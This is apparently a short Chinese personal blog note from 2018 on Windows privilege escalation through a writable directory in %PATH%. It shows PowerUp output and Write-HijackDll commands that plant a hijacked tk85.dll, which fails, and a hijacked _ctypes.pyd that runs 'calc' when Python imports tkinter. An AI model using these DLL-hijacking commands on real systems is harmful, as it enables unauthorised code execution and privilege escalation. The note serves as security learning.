windows 利用环境变量%PATH%中目录可写提权

使用PowerUp的时候有时候会有这种结果

[*] Checking %PATH% for potentially hijackable DLL locations...


Permissions       : {ReadAttributes, ReadControl, Execute/Traverse, WriteAttrib
                    utes...}
ModifiablePath    : C:\Python27\
IdentityReference : NT AUTHORITY\Authenticated Users
%PATH%            : C:\Python27\
AbuseFunction     : Write-HijackDll -DllPath 'C:\Python27\\wlbsctrl.dll'

这种方法和直接改dll不一样,

这个方法的原理是执行当前exe的时候会先在当前目录下搜索DLL进行加载

这里的话,先执行Write-HijackDll -DllPath "c:\Python27\tk85.dll" 这个dll是要根据实际执行的程序修改

然后在c:\python27\目录下执行python,执行import tkinter

用process explorer检查发现虽然tk85.dll加载进来了,但是不是加载的我们写入的dll

不行的原因可以看这篇文章

https://docs.microsoft.com/zh-cn/windows/desktop/Dlls/dynamic-link-library-search-order

 

不过用process explorer检查进程的时候发现还有一些pyd被加载进去了

于是执行Write-HijackDll -DllPath "c:\Python27\_ctypes.pyd" -Command "calc" 

再在python 解释器里import tkinter时就可以弹出计算器,

这里只是Authenticated Users组,并没有加用户的权限,所以在这个地方并没有什么用,不过也算学到点东西,简单记录下

哪天遇到个实例再补充

posted @ 2018-11-20 23:08 君莫笑hhhhhh 阅读(...) 评论(...) 编辑 收藏